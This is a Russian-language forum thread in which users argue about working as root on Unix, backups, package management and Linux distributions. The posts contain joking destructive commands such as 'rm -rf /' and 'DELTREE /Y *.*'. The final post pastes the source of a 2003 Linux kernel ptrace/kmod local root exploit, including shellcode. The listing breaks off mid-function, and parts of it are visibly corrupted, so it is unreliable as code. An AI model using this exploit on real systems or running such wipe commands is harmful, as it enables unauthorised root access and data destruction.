Стоит ли работать под root'ом в *nix

Coffin

а ты что под рутом работаешь?

peter1dav

По крайней мере сейчас... ведь тока поставил... еще нифига не настроено..

Coffin

>По крайней мере сейчас... ведь тока поставил... еще нифига не настроено..
и что? настраивать через su надо

hoha32

А почему, собственно, надо сидеть не под рутом?

peter1dav

Еще и пользователя надо было заводить

abrek

один из атрибутов посвящённого
так культурнее

hoha32

Что значит "культурнее"? Если удобнее сидеть под рутом, то почему бы под ним и не сидеть?

abrek

что такое "культура" понимаешь?
приличные люди едят ножом и вилкой, даже когда удобнее было бы брать руками и рвать зубами
они выходят на улицу одетыми, даже когда очень жарко
они не пишут в публичные форумы, что работают под рутом

hoha32

Приличные люди не пишут, что работают под рутом.
Но я столкнулся с ситуацией, когда иначе нельзя было заставить компьютер нормально работать иначе как из-под рута. Может, просто я ламо.

natali20

Заставляешь его работать каждый день?

panterochka

Хватит все-таки над парнем угорать...
Например, из под рута вполне можно стереть что-нить (линукс в отличае от винды это позволяет из под рута) и пизда, особенно если ты чайник. Я у себя как-то чуть монитор не спалил (игрался с xvidtune)

abrek

> из под рута вполне можно стереть что-нить
все ценные для пользователя файлы обычно принадлежат ему, и стереть их можно и так
> и пизда, особенно если ты чайник
и нихуя переустановка и всё

peter1dav

Да... фигня... часов 10 е#ли просто так
А если это сервак?

abrek

> Да... фигня... часов 10 е#ли просто так
если для тебя это не фигня - у тебя есть резервная копия
> А если это сервак?
то что ты на нём будешь делать не рутом?

hoha32

Мдя, как я и ожидал, всё свелось к "культуре" работы.
А ещё какие-нибудь аргументы будут? Культура обычно имеет вполне прагматичное объяснение.

tolik1

Можно я скажу?
Аргумент 1. Обезопасить себя от себя-же.
Аргумент 2. Обезопасить себя от своих (и не совсем своих) программ.
Аргумент 3. Не приходится на каждом компе требовать "для комфортной работы" админа, и сможешь любому юзеру дать любые какие надо права, чтобы он смог делать всё, что ему нужно, но не имел прав делать то, что ты не хочешь чтоб он делал (гибкая настройка).
Аргумент 4. Если есть несколько пользователей и они все сидят под рутом, то проблема с профайлами - каждый любит свои настройки.
Аргумент 5 (личное). Предпочитаю рута и одну консоль не настраивать, чтобы в случае кривых рук/софта/железа всегда можно было загрузить компьютер и восстановить систему/просто поработать.
Аргумент 6 (личное). Мне просто нравится работать под юзером , получать почту на этого юзера, нежели на некоторого сомнительного рута. Почту же рута предпочитаю держать в отдельном ящике или (мечта посадить программу, читающую эту почту, а чтоб мне на ящик скидывала отчёт, только интересное мне в данный момент.

hoha32

Спасибо
до 5) не додумался бы

abrek

нелепость большинства из этих аргументов, быстрота их появления, подробность изложения показывают, что ты хорошо впитал в себя данный аспект культуры

Coffin

> Что значит "культурнее"? Если удобнее сидеть под рутом, то почему бы под ним и не сидеть?
вопрос не в культуре и не в удобстве, когда к тебе через почту проникнет pdf червь из-за ошибки в kdelibs
или мозила при заходе на левую страничку упадёт,выполнив вредоносный код или ........ будет уже поздно
ну или ты сам не туда тыкнешь и у тебя система накроется
пора уже избавляться от виндузовых привычек

Coffin

>все ценные для пользователя файлы обычно принадлежат ему, и стереть их можно и так
угу а руту фактически принадлежат все файлы, вот ты возьмёшь и случайно сотрёшь
/lib/libc.so.6 и всё пиздец, или конфиг какой запорешь
а ценные для простого пользователя файлы обычно ещё лежат в бекапе на CD-RW, поэтому потеря их не так
страшна

abrek

> /lib/libc.so.6
в этом ничего ценного нет, его можно взять в миллионе различных мест
> или конфиг какой запорешь
уже ближе
однако, если самое ценное для пользователя - это конфиги, принадлежащие руту, то этот пользователь есть преимущественно администратор, и всё равно основную часть работы от рута выполняет
> а ценные для простого пользователя файлы обычно ещё лежат в бекапе на CD-RW
вот мы узнаём новые аспекты культуры

bobking

У правильного пользователя все данные в голове, а что не в голове, то ответственно хранит системный администратор.

shurabor

тоже в голове?

bobking

А это уже его проблемы.
Главное, за сохранность отвечает не пользователь.

hoha32

А если единственный пльзователь и есть администратор?

bobking

_правильный_

Ivan8209

Объясняю.
Допустим, плановые резервы создаются по пятницам (вечером).
В понедельник, приходишь с кучей ценных мыслей, по свежим следам прорабатываешь далеко вперёд.
В среду какой-нибудь "root", ты сам или кто-либо другой, сносит (случайно!) все пользовательские или свои файлы.
В четверг я прихожу с ледорубом и паяльником.
Либо ты же сам (в среду же!) бьёшься головой в стену.
Потому что перед настройкой системы и любыми небезопасными действиями делается внеплановый резерв.
---
Ибо нефиг.

Coffin

Post deleted by

natali20

>объясни это лучше тупым анонимусам
ты попал

abrek

гы
ты про 10.0.0.232?

Coffin

Post deleted by

abrek

понятно, пальцы обзор закрывают
ну покажи тогда, где анонимус заявлял, что работает под рутом
покажи ещё, где он жаловался, что у него что-то глючит

Ivan8209

Если человек не дурак --- сам поймёт.
А горбатого, как известно...
...Жареный петух клюнет.
Я уже устал объяснять виндузятникам, чем лучше униксоподобие.
Полностью согласен с нижеследующей формулировкой.
"Юзеры делятся на тех, кто хочет работать на компьютере,
и тех, кто хочет, чтобы компьютер работал за них."
Замечание: настраивать сами себя компьютеры пока ещё не научились.
---
...Я работаю антинаучным аферистом...

Coffin

зарегистрируйся

Ivan8209

Это кстати ещё предполагалось, как опровержение веры в бакапы.
Правильно организовать создание резервных копий, это проблема и под унихом.
Несмотря на то, что все данные лежат в /home.
Есть большой облом с временем снятия данных.
Большие проблемы вызывают персоналки.
На серваке сказал
"Broadcasting message from root:
The system is going down for backup in 10 minutes.
The system is going down for backup in 5 minutes. Please log out.
The system is going down for backup in 1 minute.
The system is going down for backup now!"
И всё.
А для персоналок надо ещё как-то изгаляться.
Особенно под не-"НТ" виндой.
---
Как часто ты бакапишься?

Coffin

это потому что некоторые товарищи не смогут понять смысл моих слов, поэтому и удалил

abrek

> Правильно организовать создание резервных копий, это проблема и под унихом.
> Несмотря на то, что все данные лежат в /home.
Точнее наверное надо говорить не "и под унихом" а "особенно под унихом"
У Microsoft как я слышал есть специальное backup API, унихи впрочем тоже разные бывают
> Есть большой облом с временем снятия данных.
Не совсем понял. Речь идёт о том, что данные могут модифицироваться, пока идёт бекап?
Есть такое дело. Однако в большинстве случаев можно читать "по живому", когда речь идёт о пользовательских данных.
> The system is going down for backup now!
Это далеко не всегда можно назвать решением.

Coffin

> ....... как я слышал есть .........
^^^^^^^
вот так всегда,
так есть или нет? и в чём оно заключается?

Ivan8209

>> Правильно организовать создание резервных копий, это проблема и под унихом.
>> Несмотря на то, что все данные лежат в /home.
>Точнее наверное надо говорить не "и под унихом" а "особенно под унихом"
>У Microsoft как я слышал есть специальное backup API, унихи впрочем тоже разные бывают
Если уних-терминал, то (наиболе простое) решение как раз:
"The system is going down for backup now!"
Это производится в обеденный перерыв и-или по окончанию работы.
>> Есть большой облом с временем снятия данных.
>Не совсем понял.
> Речь идёт о том, что данные могут модифицироваться, пока идёт бекап?
Именно об этом.
>Есть такое дело. Однако в большинстве случаев можно читать "по живому", когда речь идёт о пользовательских данных.
Здесь есть облом, когда согласованные изменения вносятся в несколько различных мест. А это происходит слишком часто.
>> The system is going down for backup now!
> Это далеко не всегда можно назвать решением.
Это наиболее надёжное решение.
Как раз по Дейкстре: закрыл семафор, перекрыл дорогу, подождал, пока все выедут из опасной зоны, и выстрелил.
---
...Сам себе администратор...

abrek

слышал
оказалось, не зря
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/fileio/base/backupread.asp
это то, что за 5 минут найти удалось
мало, я не владею навигацией по MSDN

Ivan8209

Понятно.
Осталось только заставить местного админа регулярно забивать баки.
Опять же есть проблема с персоналками, к-рые не на "НТ".
---
...Администратор своего ~ ...

abrek

> Если уних-терминал, то (наиболе простое) решение как раз:
> "The system is going down for backup now!"
Наверное, у нас разные представления о терминалах. Что там бекапить?
> Здесь есть облом, когда согласованные изменения вносятся в несколько различных мест.
Юниксовая файловая система не умеет группировать несколько изменений в транзакции.
Об этом заботятся приложения. В специальных случаях, например в базах данных, предусмотрены специальные схемы для бекапа.
Но проблемы такая есть, да, так как бекап - не атомарная процедура (её можно сделать атомарной, например если файловая система или блочное устройство умеет снапшоты делать).
Я говорил о том, что очень часто пользовательские данные не слишком пострадают от несогласованности.
> Это наиболее надёжное решение.
В том случае, когда это решение, т.е. когда можно себе позволить простои нужной частоты и длительности.

abrek

> Опять же есть проблема с персоналками, к-рые не на "НТ".
Ну зачем же сравнивать с самым плохим вариантом?

Coffin

>Юниксовая файловая система
о чём речь? о всех *nix'вых fs чтоль? и же до чёрта

abrek

> зарегистрируйся
вы, мега-флудеры, зарегистрировались за меня и за других: у вас у каждого по десятку ботов
в случае чего нахуй приходится посылать по многу раз

abrek

речь о стандартной семантике операций с файловой системой
POSIX, SUS

Ivan8209

>> Если уних-терминал, то (наиболе простое) решение как раз:
>> "The system is going down for backup now!"
> Наверное, у нас разные представления о терминалах. Что там бекапить?
Я имею в виду случай, когда пользователи сидят за терминалами, а не персоналками.
>> Здесь есть облом, когда согласованные изменения вносятся в несколько различных мест.
> Юниксовая файловая система не умеет группировать несколько изменений в транзакции.
> Об этом заботятся приложения. В специальных случаях, например в базах данных, предусмотрены специальные схемы для бекапа.
> Но проблемы такая есть, да, так как бекап - не атомарная процедура (её можно сделать атомарной, например если файловая система или блочное устройство умеет снапшоты делать).
> Я говорил о том, что очень часто пользовательские данные не слишком пострадают от несогласованности.
Просто, когда идёт сообщение:
"The system is going down... Please, logout!" ----
подразумевается, что пользователь завершит всои дела и целостность будет обеспечена.
А у нас сейчас слишком много людей, к-рые "хотят работать на компьютере".
Как ты обьяснишь пользователю и начальству, что надо не редактировать два документа одновременно, а записывать все входные данные в созданную тобой или прикладником форму, а она уже всё распихает?
Вопрос ещё и в том, будешь ли ты или кто-то другой писать соответствующее приложение.
>> Это наиболее надёжное решение.
> В том случае, когда это решение, т.е. когда можно себе позволить простои нужной частоты и длительности.
Базы данных и большие непрерывно действующие системы --- совершенно другая статья.
Базы данных сами беспокоятся о целостности данных (иначе это не базы данных, а... впиши название сам
а большие системы тоже должны беспокоиться о надёжности хранения данных и их целостности сами.
Там и данные чаще всего либо специальные, либо несильно важные и несильно страдающие от обломов.
Круглосуточный цикл на предприятии означает сложность, предприятие должно само озаботиться прграммистами и администраторами БД.
---
...Администратор своего ~ ...

artimon

и всё равно основную часть работы от рута выполняет
У меня стоит Винда и единственная вещь которую я выполняю из-под админа это установка программ. На все остальное есть обычный юзер. А вот что можно делять в *nix исключительно из под админа?

Ivan8209

Плюс высокоуровневой организации АРМ.
То, что ещё зовется layout.

Coffin

а что ты делаешь со вскими левыми программами, которые хотят прав админа для нормальной работы?
в *nix хоть для этого uid бит есть ну и sudo

Coffin

OK, ты хочешь сказать, что ntfs обеспечивает целостность данных?

abrek

> На все остальное есть обычный юзер.
Тут всё зависит от того, сколько этого остального.
Если это сервер, то остального вроде как и не положено.
> А вот что можно делять в *nix исключительно из под админа?
Да то же самое. Установка приложений и глобальные настройки.
В случае истинной многопользовательской машины функции пользователя и администратора разделены. Это культура, выработанная за десятилетия. Без этой культуры продуктивная работа была бы невозможна. Однако, сейчас это не модно, а модны персоналки.

abrek

> Плюс высокоуровневой организации АРМ.
> То, что ещё зовется layout.
Поясни про то и про другое, я не знаю таких слов.

Ivan8209

Это самое...
В общем,
man hier
кажется.
---
...Администратор своего ~ ...

abrek

Я мало что знаю про NTFS, и ничего не говорил про неё, я же не мудрый .

abrek

> что надо не редактировать два документа одновременно
поясни, в чём проблема от двух документов?
> Я имею в виду случай, когда пользователи сидят за терминалами, а не персоналками.
не понял. зачем терминал в даун, что оттуда бекапить?

Ivan8209

Да не терминал в даун, а сервак, к к-рому этот терминал подключен.

Coffin

но это ты (?) говорил про транзакции для обеспечения целостности данных (кстати каких пользовательских или fs?)
и от том что их нет в *nix fs, значит есть не*nix fs в котором это есть? или тогда надо говорить что нигде нет

bobking

А какая средняя концентрация планктона в мировом океане?

Ivan8209

У баз данных свои заморочки.
ФС --- это урезанные иерархические БД.

artimon

2 :
Покажи хоть одну?
2 :
У меня стоит Винда
Это не сервер хоть и стоит Win2003Server , это домашний компьютер и большинство моих задач именно юзерские, а не админские. И есть хоть какая-то надежда, что злобные вирусы не смогут записать себя в boot-sector или в папочку c:\windows

Ivan8209

Данные в двух документах не согласованы, хотя время между внесениями согласованных изменений в них не превосходит 2 мин.

Coffin

>2 :
>Покажи хоть одну?
это к анонимусу, я ничего не утверждал, а только спросил

Ivan8209

Одну чего?
Многопользовательскую машину?
Найди любой public shell в инете --- навалом.
Ещё одна:
telnet mccme.ru

Coffin

да, действительно, под словом "одну" что ты подразумевал?

artimon

а что ты делаешь со вскими левыми программами, которые хотят прав админа для нормальной работы?
Ну пишу я медленно, блин.
Я просил хотябы одну кривую программу, а про на mccme.ru у меня есть аккаунт, и, кстати, у меня ни разу не было случая, что бы мне хватало там обычных прав юзера.

Coffin

>Я просил хотябы одну кривую программу
ok, я не про то подумал,
ну вот берём диск "герои 4" на обороте написано что для игры в w2k нужны права админа,
к сожалению проверить это я сейчас не могу

Ivan8209

С кривыми программами я, по возможности, поступаю тремя путями:
1) rm -rf ;
2) del ;
2a) deltree /y .

Coffin

>2) del ;
>2a) deltree /y .
а потом чистилки реестра применять?

abrek

> да, действительно, под словом "одну" что ты подразумевал?
треды в этом форуме имеют древовидную структуру
каждое сообщение, кроме первого, является ответом на какое-то другое, и на это другое сообщение приводится ссылка
странно, что вы этого не знаете

artimon

ну вот берём диск "герои 4" на обороте написано что для игры в w2k нужны права админа
1. Я в это не играю.
2. Я думаю это можно исправить разрешив, например юзеру писать в каталог, где стоит эта программа или разрешив еще что-нибудь, но не давая ему полных админских прав.

abrek

> 1) rm -rf ;
самое важное забыл:
rm -rf /

Coffin

"треды в этом форуме имеют древовидную структуру
каждое сообщение, кроме первого, является ответом на какое-то другое, и на это другое сообщение приводится ссылка
странно, что вы этого не знаете "
1)у меня оно отображается как flat
2)тот ответ ответвлялся от анонимуса, поэтому понять что "одну" было нельзя

Ivan8209

Я такие не устанавливаю.
Нормальные пограммы --- те, что устанавливаются тремя путями:
1) pkunzip -d
2) installpkg
3) tar zxf ; (emacs/vi/ed) ; make

bobking

Да, а ещё есть всякие windows 98/me compatibility.

abrek

да, я слажал

Coffin

>1. Я в это не играю.
а в другое играешь?

artimon

Я отвечал на оба поста сразу и когда я начинал отвечать они были рядом и в самом низу, а мне не хотелось делать два поста. А когда я все написал, появилось еще пяток постов.

natali20

свят, свят

Ivan8209

Я один два раза делал такое.
Теперь оставляю smb/ftp/tar/gzip/fileutils/shell/utils для установки чего-нибудь взамен.
Командами
CD \
DELTREE /Y *.*
я тоже пользовался. ; )

abrek

> 2) installpkg
> 3) tar zxf ; (emacs/vi/ed) ; make
это в общем случае необратимые операции, после многократного их применения и получается помойка

Coffin

"Нормальные пограммы --- те, что устанавливаются тремя путями:
1) pkunzip -d
2) installpkg
3) tar zxf ; (emacs/vi/ed) ; make "
ну или apt-get install xxxxxx :-)
и ещё программы надо удалять методом обратным установке, то есть под виндами почти всегда это
uninstall, а не del

natali20

Осталось изучить format/mk*fs
fdisk - факультативно

bobking

> Я один два раза делал такое.
Двенадцать, что ли?

Coffin

>это в общем случае необратимые операции, после многократного их применения и получается помойка
поэтому APT+dpkg рулят !
так как удаляется всё либо полностью либо всё без конфигов, ну вообщем как захочешь :-)

natali20

Не устал?
Вставь уже в подпись, что ли

Ivan8209

Самый правильный способ установки:
pkunzip -d
tar zxf ; make
Чистится всё это не менее просто:
deltree /y
rm -rf || xargs log rm -f

Ivan8209

man xargs

Ivan8209

Это изучать уже не надо --- было.

abrek

только благодаря довольно хорошему контролю за соблюдением policy
но порочная идея - инсталляционные скрипты - и там присутствует
идея порочна IMHO тем, что скрипт есть программа, а проверка разных полезных свойств программы - обычно алгоритмически неразрешимая задача
свойство "возможность clean uninstall", если его формализовать, именно таким и окажется

ruler

У него Slackware, он не поймет.

abrek

> xargs log rm -f
к сожалению, исталляционные скрипты часто делают ещё что-то, кроме распихивания файлов

abrek

Какая разница? make там такой же.

Ivan8209

Поэтому я и счтаю, что самый правильный способ установки:
pkunzip -d
tar zxf
Дальше --- только настроечный скрипт.
А удаление должно быть:
rm -rf куда-поставил ;
rm -rf куда-положил-настройки ;
и покосить образовавшиеся висячие ссылки.
Под ДОС --- соответственно.
---
...Администратор своего ~ ...

abrek

то есть я таки уговорил тебя отказаться от использования make ?

ruler

Разница в том, что в Slackware другая идеология. Нравится ему с rm -rf заморачиваться с make, с прочей херней.
btw, , как наиболее правильно обновлять весь софт? Расскажи.

Ivan8209

Когда в вашем нешлаке будет возможность сказать, куда класть настройки и что не делать, тогда посмотрим.
А пока всё, что я видел, своими дополнительными движениями --- увы! --- только мешает, а не помогает.
---
...Администратор своего ~ ...

abrek

> как наиболее правильно обновлять весь софт?
заливать новый дистрибутив: tar xzf
он это делает на скорость, в соседнем треде обсуждалось

Ivan8209

Ты что, обновляешь весь софт сразу?!

ruler

Да. apt-get upgrade.

Ivan8209

Здрасте... : )
Я не обновляю весь софт сразу.
Я что, спятил, такую мороку на себя вешать?!

ruler

Тебе linux, чтобы работать или чтобы разобраться?

bobking

Чтобы зарабатывать?

ruler

Ну вот похоже на то, что ему нужен для того, чтобы рюхать линух.

abrek

Прикольная у него работа похоже.
Ставит slackware на скорость, причём не потому, что начальство велит, а потому, что так нравится.
Если что не понравится - rm -rf
Если ещё и платят, то неплохо устроился.

Ivan8209

Ты мне ответь на простой вопрос.
Я поставил, допустим, шлак 8. Работаю себе спокойно. Например, gcc 2.95 и чего там ещё-то мне хватает. Требований больше никаких нет. Всё стабильно. Всё работает. Не сервак у меня: находимые в серваковом софте уязвимости --- в /dev/null.
На кой черт мне обновлять весь софт полностью?!

bobking

Они [в душе] админы. Учитывай это.

Ivan8209

> Прикольная у него работа похоже.
Да, я работаю не сисадмином.
> Ставит slackware на скорость, причём не потому, что начальство велит,
> а потому, что так нравится.
Потому что шлак для меня --- удобное АРМ.
Существенно удобнее винды.
Заморачиваться с цигвином я не хочу.
> Если что не понравится - rm -rf
Этого я, кстати, не говорил.
Но если появится что-то более удобное, чем линукс-шлак, удовлетворяющее моим требованиям, то будет стоять оно. Потратить день на то, чтобы потом лениться неделю я смогу.
---
...Я работаю антинаучным аферистом...

abrek

Тебя по разным машинам что-ли гоняют?
Иначе почему инсталляции на поток поставлены?

Ivan8209

Бывает и такое. Правда, редко.
Вот, например, недавно мать сдохла...
Тут ещё иногда винды помогают... : )
Чаще всего удаляется что-то для освобождения места под что-нить _ОЧЕНЬ_ большое ; )
Поскольку удаление-установка-настройка шлака легки...
---
...Я работаю администратором ~ ...

ruler

И тут, положим на, положим, securityfocus.com вдруг появляется нобоснование необходимости обновить немного софта.

abrek

я бы в таких случаях довольствовался ssh на нормальную машину, которая работает безотносительно
в качестве текстового терминала windows неплох, и cigwin не нужен

abrek

неинтересно с вами
уводят разговор в сторону, отказываясь внести что-то новое
вот моё объяснение работы не под рутом не приняли, а ничего нового не предложили, только тупым обозвали

bobking

Ты всё-таки плохо представляешь себе, какие потребности у разработчика.
Если он получает спам только от начальства, то всякие там обоснования с securityfocus.com идут лесом.

abrek

у прикладника особенно и потребностей быть не должно, кроме как поставить $package
админ его и ставит, уже его дело, как (apt-get install проще всего)
системщику труднее, как правило нужен полный контроль над всем софтом
тут, при некоторых условиях, ему придётся заботится о security fix'ах
так?

Ivan8209

> И тут, положим на, положим, securityfocus.com
> вдруг появляется нобоснование необходимости обновить
> немного софта.
Читать умеем?
>> Всё стабильно. Всё работает.
>> Не сервак у меня:
>> находимые в серваковом софте уязвимости --- в /dev/null.
И опять же
>> На кой черт мне обновлять весь софт полностью?!
---
...Я работаю...

Ivan8209

> я бы в таких случаях довольствовался ssh на нормальную машину,
> которая работает безотносительно
Целевая машина доступна телнетом.
Основые прогоны --- там.
> в качестве текстового терминала windows неплох, и cigwin не нужен
Я пользую сильно гнутые утилы.
Меня ломает подкручивать цигвин.
В шлаке всё это работает на ура почти из коробки.
Подкрутка требуется минимальная.
Домашняя система, из-за звука и картинок требует больше возни.
Но и это решается несложно.
Сборка mplayer-а вообще от дистрибутива почти не зависит.
Если меня лишат возможности выхода в ДОС --- буду заморачиваться с цигвином.
Либо грузиться с дискетки ; )
Благо я могу из ДОСа сделать почти шлак.
Последнее время из-за разных катаклизмов, я под ДОСом и работал.
Узнал много нового : ) ) )
---
...Я работаю...

abrek

> Целевая машина доступна телнетом.
> Основые прогоны --- там.
А vi/ed там же нельзя запускать? Или в другом нормальном месте, где эти сильно гнутые тулзы поставлены?

bobking

Третий раз нажимаю на reply.
Следить нужно только за местами соединения с внешним миром (который, как правило, многоуровневый). Если их вообще нет, то нафига париться?

Ivan8209

> у прикладника особенно и потребностей быть не должно,
> кроме как поставить $package
> админ его и ставит, уже его дело, как (apt-get install проще всего)
Я работаю не программистом.
> системщику труднее, как правило нужен полный контроль над всем софтом
> тут, при некоторых условиях, ему придётся заботится о security fix'ах
> так?
Системщик системщику рознь.
Всё зависит от того, какими системами он занимается.
Для некоторых системщиков справедливо то же, что и для меня:
пофигу что, лишь бы работало и работать удобно было.
Да, баги в компиляторах и прочих средствах разработки отслеживать надо, остальное --- лесом.
Но,
removepkg gcc-3.x.x ; installpkg gcc-3.y.y
сказать вообще не проблема.
---
...Я работаю...

ruler

Тебя устраивает slackware? Я очень рад.

abrek

тем не менее, троянов себе сажать не стоит, а для этого нужно правила гигиены соблюдать
в случае, если "вирусы" (а то и живой злоумышленник) может воспользоваться уязвимостями софта - нужно его обновлять
защита периметра малоэффективна, если надеяться только на неё
глупый коллега установит backdoor на свою машину, и вот тебе соединение с внешним миром

Ivan8209

>> Целевая машина доступна телнетом.
>> Основые прогоны --- там.
> А vi/ed там же нельзя запускать?
Можно.
Если получил таблицу результатов 6 на много, то могу пустить awk.
> Или в другом нормальном месте,
> где эти сильно гнутые тулзы поставлены?
Там виндец.
Это нормально?
Поднимать rdp не хочу.
Прикручивать цигвин к телнету тоже.
Уже встречался с различными телнетово-какими-то граблями.
А если эту машину загрузят (я же не один то мне ждать, когда очередная буковка вылезет?
Спасибо, дайте мне лучше двойку --- быстрее будет.
Опять же, набирать текст я могу и локально.
---
...Я работаю...

Ivan8209

Почему меня не устраивает дебиан я написал.
Шлак работает почти из коробки.
Если даже у меня отнимут накопленные скрипты, я с нуля его настрою быстро.
Ибо настраивать немного и понятно, что именно настраивать.
И как это будет настроено, как это будет работать, очень хорошо видно.
Я видел одного линуксовода, дебианца, кажется. Или красношапочника.
Как только у него что-то отваливалось, он переставлял систему и настраивал её заново.
На виндовоза не похоже?
---
...Опыт не пропьёшь...

abrek

> На виндовоза не похоже?
Это он и был, маскировался просто.

abrek

> он переставлял систему
вообще, спецы по установке здесь - и
как видим, от выбора дистрибутива не зависит
у меня машин мало, каждая установка - событие
если бы было много, я бы изучил способы автоматизированной установки, сейчас лениво

Ivan8209

> тем не менее, троянов себе сажать не стоит,
> а для этого нужно правила гигиены соблюдать
> в случае, если "вирусы" (а то и живой злоумышленник) может
> воспользоваться уязвимостями софта - нужно его обновлять
Соединение с внешним миром только штатное.
Если я здесь подниму телнет или почту, ты сюда не попадёшь --- стеночка.
Единственный способ атаковать --- браузер или почта.
Почта читается по mail, под ДОСом --- koi2alt | more.
Браузер --- lynx/links или Arachne. Скриптов нет.
Где уязвимости?
> защита периметра малоэффективна, если надеяться только на неё
> глупый коллега установит backdoor на свою машину,
> и вот тебе соединение с внешним миром
У меня соединений и с внутренним миром мало, а ты говоришь о внешнем.
А если я ещё и сеть опущу?

abrek

целевая машина с виндами? и явно без настоящего админа, иначе тебе бы не пришлось самому выбирать, rdp или cygwin или что, всё было бы сделано.
понятно, в таком бардаке не до радостей.

abrek

про тебя я понял, у тебя много лишнего времени, что можешь выполнять работу своего админа, и ещё остаётся

natali20

>У меня соединений и с внутренним миром мало, а ты говоришь о внешнем.
Аутист, что ли?
Хотя нет, гоню, у этих вроде как раз внутренний-то рулит. Тогда кто?

Ivan8209

>> он переставлял систему
> вообще, спецы по установке здесь - и
> как видим, от выбора дистрибутива не зависит
Суммарно я переставлял только, сейчас вспомню, 7 раз.
Из них три раза красную шапку на домашней машине (не у себя).
Таким образом, шлак я переставлял четыре раза.
Из них, один раз не у себя (домашний).
Два раза шлак сносился из-за недостатка места.
Остаётся один раз в самом начале линуксового пути.
> у меня машин мало, каждая установка - событие
> если бы было много, я бы изучил способы автоматизированной установки,
> сейчас лениво
А чего там думать, понятно, что изучать: initrd linuxrc

ruler

Я себе систему перестанавливал трижды. В первый раз поставил red hat, проработал полгода, снёс. Потом поставил Slackware, проработал полгода, снёс. Debian стоит уже год, не жалуюсь.

Ivan8209

С другой стороны, хорошо, что я там могу поадминить.
Только аккуратно, без членовредительства.
Захотел, поднял тихонечко телнет... ; )
А о времени очень просто.
Я волен выбирать те средства решения задач, которые удобны мне.
Это _очень_ даже хорошо.
Я хочу, чтобы компьютер, там где можно, работал за меня.
Я не хочу выполнять тупую операторскую работу, а винда это требует заметно строже, нежели гнутые утилиты.
В частности, поэтому у меня остается свободное время.
---
...Я работаю...

Ivan8209

Я антинаучный аферист.

Ivan8209

Red Hat почему сносил?

ruler

Он меня не устраивал.

natali20

Не налезала

Ivan8209

(Шепотком.)
Это хорошо, что я сам себе админ, никто не мешает.
Да и админю я только себя.
---
...Сам себе админ...

Coffin

"Ибо настраивать немного и понятно, что именно настраивать."
а в каком дистре настраивать много и непонятно? я таких пока не встречал везде всё делается одинаково,
я бы даже сказал в любом *nix из тех что я общался,
но использую Debian, нравится мне он
"И как это будет настроено,"
vi имя конфига
"как это будет работать, очень хорошо видно."
а это уже что-то из области фантастики, предсказывание будущего?
"Я видел одного линуксовода, дебианца, кажется. Или красношапочника.
Как только у него что-то отваливалось, он переставлял систему и настраивал её заново."
и что? таких полно среди пользователей любого дистрибутива

Ivan8209

> а это уже что-то из области фантастики, предсказывание будущего?
Я справку для этого читаю.
Работает, как предписано.
Контрпримеров не встречал.

abrek

> а это уже что-то из области фантастики, предсказывание будущего?
предсказание работы программы, даже при известных входных данных - тоже алгоритмически неразрешимая задача
поэтому как будет работать - узнаешь, только когда попробуешь, но не раньше

Coffin

и я о том же, а ещё есть такая вещь как железо оно может начать глючить

Coffin

"Я справку для этого читаю.
Работает, как предписано.
Контрпримеров не встречал. "
в документации к ядру написано что после запуска сего кода должен возникать root shell
у обычного пользователя?
:-)
/*
* Linux kernel ptrace/kmod local root exploit
*
* This code exploits a race condition in kernel/kmod.c, which creates
* kernel thread in insecure manner. This bug allows to ptrace cloned
* process, allowing to take control over privileged modprobe binary.
*
* Should work under all current 2.2.x and 2.4.x kernels.
*
* I discovered this stupid bug independently on January 25, 2003, that
* is (almost) two month before it was fixed and published by Red Hat
* and others.
*
* Wojciech Purczynski <isec.pl>
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
*
* (c) 2003 Copyright by iSEC Security Research
*/
#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>
char cliphcode[] =
"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
"\x00\x00\xcd\x80\x89\0\x89\3"
"\x40\xcd\x80\xe8\c\xff\xff\xff";
#define CODE_SIZE (sizeof(cliphcode) - 1)
pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;
void fatal(char * msg)
{
perror(msg);
kill(parent, SIGKILL);
kill(child, SIGKILL);
kill(victim, SIGKILL);
}
void putcode(unsigned long * dst)
{
char buf[MAXPATHLEN + CODE_SIZE];
unsigned long * src;
int i, len;
memcpy(buf, cliphcode, CODE_SIZE);
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
if (len == -1)
fatal("[-] Unable to read /proc/self/exe");
len += CODE_SIZE + 1;
buf[len] = '\0';

src = (unsigned long*) buf;
for (i = 0; i < len; i += 4)
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
fatal("[-] Unable to write shellcode");
}
void sigchld(int signo)
{
struct user_regs_struct regs;
if (gotchild++ == 0)
return;

fprintf(stderr, "[+] Signal caught\n");
if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
fatal("[-] Unable to read registers");

fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);

putcodeunsigned long *)regs.eip);
fprintf(stderr, "[+] Now wait for suid shell...\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
fatal("[-] Unable to detach from victim");
exit(0);
}
void sigalrm(int signo)
{
errno = ECANCELED;
fatal("[-] Fatal error");
}
void do_child(void)
{
int err;
child = getpid;
victim = child + 1;
signal(SIGCHLD, sigchld);
do
err = ptrace(PTRACE_ATTACH, victim, 0, 0);
while (err == -1 && errno == ESRCH);
if (err == -1)
fatal("[-] Unable to attach");
fprintf(stderr, "[+] Attached to %d\n", victim);
while (!gotchild) ;
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
fatal("[-] Unable to setup syscall trace");
fprintf(stderr, "[+] Waiting for signal\n");
for(;;);
}
void do_parent(char * progname)
{
struct stat st;
int err;
errno = 0;
socket(AF_SECURITY, SOCK_STREAM, 1);
do {
err = stat(progname, &st);
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

if (err == -1)
fatal("[-] Unable to stat myself");
alarm(0);
system(progname);
}
void prepare(void)
{
if (geteuid == 0) {
